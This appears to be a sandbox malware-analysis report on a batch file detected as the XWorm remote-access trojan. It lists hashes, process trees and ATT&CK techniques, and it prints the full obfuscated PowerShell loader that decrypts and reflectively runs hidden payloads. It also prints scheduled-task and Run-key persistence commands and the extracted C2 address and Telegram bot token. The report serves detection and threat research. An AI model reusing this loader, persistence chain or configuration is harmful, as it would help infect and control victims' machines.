Analysis
-
max time kernel
148s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23-08-2024 02:30
Static task
static1
Behavioral task
behavioral1
Sample
ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat
Resource
win10v2004-20240802-en
General
-
Target
ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat
-
Size
275KB
-
MD5
536ac91b5fe6a53fd85f5d7b609dc591
-
SHA1
5fb565c1bec3e386642e921c34ea365fbcb07127
-
SHA256
ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9
-
SHA512
b47aeba5a1abdcd8b1b6ba67663fb199fca22a21c1417aa830d042268f6c810b9abf246b964d7dc76497b009f8d54e77c1b0f38e5c775097b9fa15dbd19b748f
-
SSDEEP
6144:h1E5NlqQRcu+pHfFQS7w1bUyntarmxcGqKxH1279F:h1E5qz9H9T7w1bUotqgRH+
Malware Config
Extracted
xworm
5.0
95.98.144.201:2404
JnG5DxKNjDpRvsxT
-
Install_directory
%Temp%
-
install_file
e45iasd.exe
-
telegram
https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/3996-50-0x000001EF65720000-0x000001EF65734000-memory.dmp family_xworm -
Blocklisted process makes network request 6 IoCs
flow pid Process 30 3996 powershell.exe 34 3996 powershell.exe 48 3996 powershell.exe 54 3996 powershell.exe 61 3996 powershell.exe 73 3996 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2996 powershell.exe 4840 powershell.exe 3996 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3032 e45iasd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e45iasd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\e45iasd.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings powershell.exe -
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4164 schtasks.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3996 powershell.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2996 powershell.exe 2996 powershell.exe 4840 powershell.exe 4840 powershell.exe 3996 powershell.exe 3996 powershell.exe 3996 powershell.exe 3032 e45iasd.exe 3032 e45iasd.exe 3032 e45iasd.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2996 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeIncreaseQuotaPrivilege 4840 powershell.exe Token: SeSecurityPrivilege 4840 powershell.exe Token: SeTakeOwnershipPrivilege 4840 powershell.exe Token: SeLoadDriverPrivilege 4840 powershell.exe Token: SeSystemProfilePrivilege 4840 powershell.exe Token: SeSystemtimePrivilege 4840 powershell.exe Token: SeProfSingleProcessPrivilege 4840 powershell.exe Token: SeIncBasePriorityPrivilege 4840 powershell.exe Token: SeCreatePagefilePrivilege 4840 powershell.exe Token: SeBackupPrivilege 4840 powershell.exe Token: SeRestorePrivilege 4840 powershell.exe Token: SeShutdownPrivilege 4840 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeSystemEnvironmentPrivilege 4840 powershell.exe Token: SeRemoteShutdownPrivilege 4840 powershell.exe Token: SeUndockPrivilege 4840 powershell.exe Token: SeManageVolumePrivilege 4840 powershell.exe Token: 33 4840 powershell.exe Token: 34 4840 powershell.exe Token: 35 4840 powershell.exe Token: 36 4840 powershell.exe Token: SeIncreaseQuotaPrivilege 4840 powershell.exe Token: SeSecurityPrivilege 4840 powershell.exe Token: SeTakeOwnershipPrivilege 4840 powershell.exe Token: SeLoadDriverPrivilege 4840 powershell.exe Token: SeSystemProfilePrivilege 4840 powershell.exe Token: SeSystemtimePrivilege 4840 powershell.exe Token: SeProfSingleProcessPrivilege 4840 powershell.exe Token: SeIncBasePriorityPrivilege 4840 powershell.exe Token: SeCreatePagefilePrivilege 4840 powershell.exe Token: SeBackupPrivilege 4840 powershell.exe Token: SeRestorePrivilege 4840 powershell.exe Token: SeShutdownPrivilege 4840 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeSystemEnvironmentPrivilege 4840 powershell.exe Token: SeRemoteShutdownPrivilege 4840 powershell.exe Token: SeUndockPrivilege 4840 powershell.exe Token: SeManageVolumePrivilege 4840 powershell.exe Token: 33 4840 powershell.exe Token: 34 4840 powershell.exe Token: 35 4840 powershell.exe Token: 36 4840 powershell.exe Token: SeIncreaseQuotaPrivilege 4840 powershell.exe Token: SeSecurityPrivilege 4840 powershell.exe Token: SeTakeOwnershipPrivilege 4840 powershell.exe Token: SeLoadDriverPrivilege 4840 powershell.exe Token: SeSystemProfilePrivilege 4840 powershell.exe Token: SeSystemtimePrivilege 4840 powershell.exe Token: SeProfSingleProcessPrivilege 4840 powershell.exe Token: SeIncBasePriorityPrivilege 4840 powershell.exe Token: SeCreatePagefilePrivilege 4840 powershell.exe Token: SeBackupPrivilege 4840 powershell.exe Token: SeRestorePrivilege 4840 powershell.exe Token: SeShutdownPrivilege 4840 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeSystemEnvironmentPrivilege 4840 powershell.exe Token: SeRemoteShutdownPrivilege 4840 powershell.exe Token: SeUndockPrivilege 4840 powershell.exe Token: SeManageVolumePrivilege 4840 powershell.exe Token: 33 4840 powershell.exe Token: 34 4840 powershell.exe Token: 35 4840 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4264 wrote to memory of 4240 4264 cmd.exe 85 PID 4264 wrote to memory of 4240 4264 cmd.exe 85 PID 4240 wrote to memory of 2840 4240 net.exe 86 PID 4240 wrote to memory of 2840 4240 net.exe 86 PID 4264 wrote to memory of 2996 4264 cmd.exe 90 PID 4264 wrote to memory of 2996 4264 cmd.exe 90 PID 2996 wrote to memory of 4840 2996 powershell.exe 92 PID 2996 wrote to memory of 4840 2996 powershell.exe 92 PID 2996 wrote to memory of 3504 2996 powershell.exe 96 PID 2996 wrote to memory of 3504 2996 powershell.exe 96 PID 3504 wrote to memory of 3828 3504 WScript.exe 98 PID 3504 wrote to memory of 3828 3504 WScript.exe 98 PID 3828 wrote to memory of 3384 3828 cmd.exe 100 PID 3828 wrote to memory of 3384 3828 cmd.exe 100 PID 3384 wrote to memory of 1900 3384 net.exe 101 PID 3384 wrote to memory of 1900 3384 net.exe 101 PID 3828 wrote to memory of 3996 3828 cmd.exe 102 PID 3828 wrote to memory of 3996 3828 cmd.exe 102 PID 3996 wrote to memory of 4164 3996 powershell.exe 106 PID 3996 wrote to memory of 4164 3996 powershell.exe 106 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:2840
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\Admin\AppData\Local\Temp\ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_525_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_525.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_525.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3504 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_525.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:1900
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\Admin\AppData\Roaming\startup_str_525.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\Admin\AppData\Local\Temp\e45iasd.exe"6⤵
- Scheduled Task/Job: Scheduled Task
PID:4164
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\e45iasd.exeC:\Users\Admin\AppData\Local\Temp\e45iasd.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3032
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD569d4323823b16e87bc723f71f1f1032d
SHA11a2d038a7ff602fdc5dd9a19eb7571b84af01301
SHA2560f708cb3ab5d7ffb648d30f115705c2cabdc27c974820b57fbc2eb917a0a3cd5
SHA5129a34955ca25dfe253be27940df661abb67d27a31371aa87907cb513a3983ef2c4895cbd2de91c051ab9c7a1c1c5796ad64bad2bfd9cca27dc1d0acab297054ef
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
275KB
MD5536ac91b5fe6a53fd85f5d7b609dc591
SHA15fb565c1bec3e386642e921c34ea365fbcb07127
SHA256ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9
SHA512b47aeba5a1abdcd8b1b6ba67663fb199fca22a21c1417aa830d042268f6c810b9abf246b964d7dc76497b009f8d54e77c1b0f38e5c775097b9fa15dbd19b748f
-
Filesize
115B
MD5ac1d74934ad6451cbaf2b1a54b051917
SHA1d037bc10cb46a2b324e4a033ca710eb29d29c96f
SHA256b0e1ae5e7a941d3e453fd9412a508b731ab4d957a504faa1b6cacfe9a8f6a75e
SHA512c177173511dc2205e9c001b7297135343126aab638f277b912d809457afc4c2aff1d1bb7efcf56a464501a493a25157d95177b7883084e646c893b6b2cf9242b